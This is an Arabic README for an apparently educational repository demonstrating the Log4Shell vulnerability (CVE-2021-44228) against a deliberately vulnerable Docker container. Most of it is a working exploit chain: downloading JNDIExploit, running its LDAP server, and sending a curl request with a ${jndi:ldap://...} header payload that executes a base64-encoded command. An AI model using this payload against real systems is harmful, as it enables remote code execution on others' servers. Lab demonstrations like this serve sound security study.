
هذا المستودع مخصص لتوضيح ثغرة Log4j لعام 2021 (CVE-2021-44228) والتخفيف من حدتها.
هذا المستودع مخصص لعرض ثغرة Log4j لعام 2021 (CVE-2021-44228) وشرح كيفية التخفيف منها.
تتكون ثغرة CVE-2021-44228 / Log4Shell من حقن برنامج ضعيف بحمولة خبيثة، والتي تطلب من Log4J الحصول على قيمة من مصدر خارجي، عبر JNDI ومن خلال بروتوكول LDAP. ... البيانات المستوردة يمكن أن تكون كودًا، والذي سيتم تنفيذه بواسطة Log4J على النظام.
نقوم بتشغيل تطبيق ويب Spring Boot ضعيف أمام CVE-2021-44228 في Docker، الملقب بـ Log4Shell بواسطة @christophetd.
يستخدم Log4j 2.14.1 (عبر spring-boot-starter-log4j2 2.6.1) و JDK 1.8.0_181.
docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

نقوم بتنزيل JNDI Exploit الخاص بـ Log4Shell من أرشيف الويب في هذه الحالة، ولكن يمكنك تنزيله من أي مكان يتوفر فيه.
wget https://web.archive.org/web/20211211031401/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip

نحصل على عنوان IP الخاص بجهازنا الذي يشغّل حاوية Docker الخاصة بتطبيق Log4Shell.
ifconfig

نقوم بفك ضغط الملف المضغوط الذي يحتوي على JNDI Exploit الخاص بـ Log4Shell، فنحصل على ملف JAR ونقوم بتشغيله مع وضع عنوان IP الذي حصلنا عليه في الخطوة 3.
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888

curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'


docker exec vulnerable-app ls /tmp

فيديو حول كيفية التخفيف من ثغرة Log4Shell في Windows و Linux: التخفيف

Feryael Justice 2022